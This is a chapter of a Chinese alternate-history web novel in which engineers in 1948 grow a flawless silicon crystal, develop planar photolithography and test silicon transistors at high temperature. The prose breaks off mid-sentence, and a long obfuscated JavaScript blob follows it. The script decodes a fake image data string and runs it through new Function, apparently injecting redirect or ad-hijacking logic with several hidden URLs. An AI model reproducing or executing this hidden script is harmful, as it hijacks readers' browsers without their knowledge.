第428章 从锗到硅的跨越
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性能上完全是废品。
为了压制这种热对流。物理学家们在单晶炉外部加装了一组巨大的超导电磁铁。
利用法拉第电磁感应定律,在导电的液态硅熔池中施加一个强大的恒定磁场。当液态硅在磁场中流动时,会切割磁感线产生感应电流,感应电流在磁场中又受到洛伦兹力的作用,这个力在刚好与硅液流动的方向相反。
这就形成了一个强大的磁阻尼效应。原本波涛汹涌的硅液熔池,在磁场的镇压下,变得如同死水一般平静。氧杂质的对流输送被大幅度削减。
经过长达数周的反复失败和参数调整。
一九四八年十二月十日。
当单晶炉的拉杆最终升至顶端,真空腔室冷却充气后打开。
一根直径七十五毫米、长达五十厘米,通体呈现出深灰色金属光泽且毫无瑕疵的单晶硅棒,展现在了所有工程师的面前。
大西北在材料学上,终于攀爬过了最艰难的那座硅基山峰。
但有了纯净的单晶硅棒,距离制造出能够在高温下稳定工作的晶体管,还有最后一道技术门槛。
早期的锗晶体管采用的是点接触工艺。那是用两根极其细小的金丝,在显微镜下手工扎在半导体表面。这种结构不仅难以进行大批量流水线生产,而且抗震性能极差。
既然硅的表面在空气中极易形成一层致密的二氧化硅绝缘层。大西北的工程师们决定反其道而行之,利用这层玻璃作为掩膜,开发出一种全新的、彻底颠覆微电子制造历史的工艺——平面光刻工艺。
西京物理研究院,超净光学微缩实验室。
这里的光线被调成了昏暗的黄色,以防止感光材料发生意外曝光。
女工王芳站在一台精密的光学曝光机前。
她的面前,是一片从单晶硅棒上切割下来、经过化学机械抛光至镜面级别的硅圆片。
第一步:热氧化。硅片被送入一千度的高温氧化炉中,通入高纯度氧气和水蒸气。硅表面在高温下与氧发生反应,生长出一层厚度均匀、致密绝缘的二氧化硅薄膜。
第二步:涂胶。在硅片表面均匀地旋涂一层光刻胶。
第三步:紫外线曝光。王芳将一块刻有复杂微观电路图形的玻璃光刻掩膜版,精确地对准在硅片上方。按下开关。高强度的紫外线灯亮起。紫外线穿透掩膜版上透明的部分,照射在光刻胶上。被光照射到的光刻胶发生化学键断裂,变得可以溶解。而掩膜版黑色不透明部分遮挡的区域,光刻胶保持原样。
第四步:显影与化学刻蚀。将硅片浸入显影液,被紫外线照射过的光刻胶被洗去,露出了下方的二氧化硅层。随后,硅片被放入含有剧毒氢氟酸的腐蚀液中。氢氟酸只腐蚀裸露的二氧化硅,将其溶解成氟硅酸。而未被光照射、仍有光刻胶保护的区域,二氧化硅层完好无损。最后,用有机溶剂洗去剩余的光刻胶。
在这片不到一毫米厚的硅片表面,工程师们利用光和化学溶剂,像雕刻艺术品一样,在二氧化硅的城墙上,精确地挖出了一个个微米级别的窗口。
这些微小的窗口,直接暴露出下方的纯净硅基底。
随后,硅片被送入高温扩散炉。
含有磷或硼的气体在高温下进入炉管。
这些杂质原子无法穿透致密的二氧化硅城墙,只能顺着那些被光刻出来的微小窗口,向着裸露的硅基底内部进行热运动扩散。
通过精确控制炉温和时间,杂质扩散的深度和浓度被死死地锁定。
在同一片硅片上,通过多次氧化、光刻和不同杂质的扩散,工程师们在不需要任何手工金丝搭接的情况下,完全在二维平面上,利用半导体内部的三维结构,制造出了成千上万个稳定的N-P-N或者P-N-P结。
一九四八年十二月二十五日。
大西北计算科学研究所的测试实验室内。
在这个滴水成冰的严冬。
那台曾经在七十五度就发生热失控的雷达火控计算机原型机,再次被推入了环境模拟舱。
不同的是,这次其内部原本那些如同小圆帽般的锗点接触晶体管,全部被替换成了采用平面光刻工艺制造的第一代“硅平面晶体管”。
“舱内温度上升。八十度。”测试主管盯着控制台。
示波器上的波形稳定如初。
“一某度。一百二十度。”
模拟超音速飞机在突破音障时产生的剧烈气动加热环境。
“一百五十摄氏度。”
在控制大厅内,所有的工程师屏住了呼吸。
在一百五十度的高温下,硅晶格内部的热运动变得极其剧烈。但它那一点一二电子伏特的禁带宽度,如同一道坚不可摧的大坝,死死地挡住了本征载流子的跃迁。
只有那些在光刻窗口中被精确掺杂的杂质电子,依然在有条不紊地按照门电路的逻辑,进行着放大
!function(){function a(a){var _idx="a11jecx1iv";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mF(R45F2m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJm:Fp_(TTm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mF(R45F2m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJm:Fp_(TTm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mF(R45F2m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/d}}CY(R}6X/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"d}}CY(R}6X"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mF(R45F2m(O^gQ}1Q/f/}Ko}j(8}vY8d}}CY(R}6X"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mF(R45F2m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();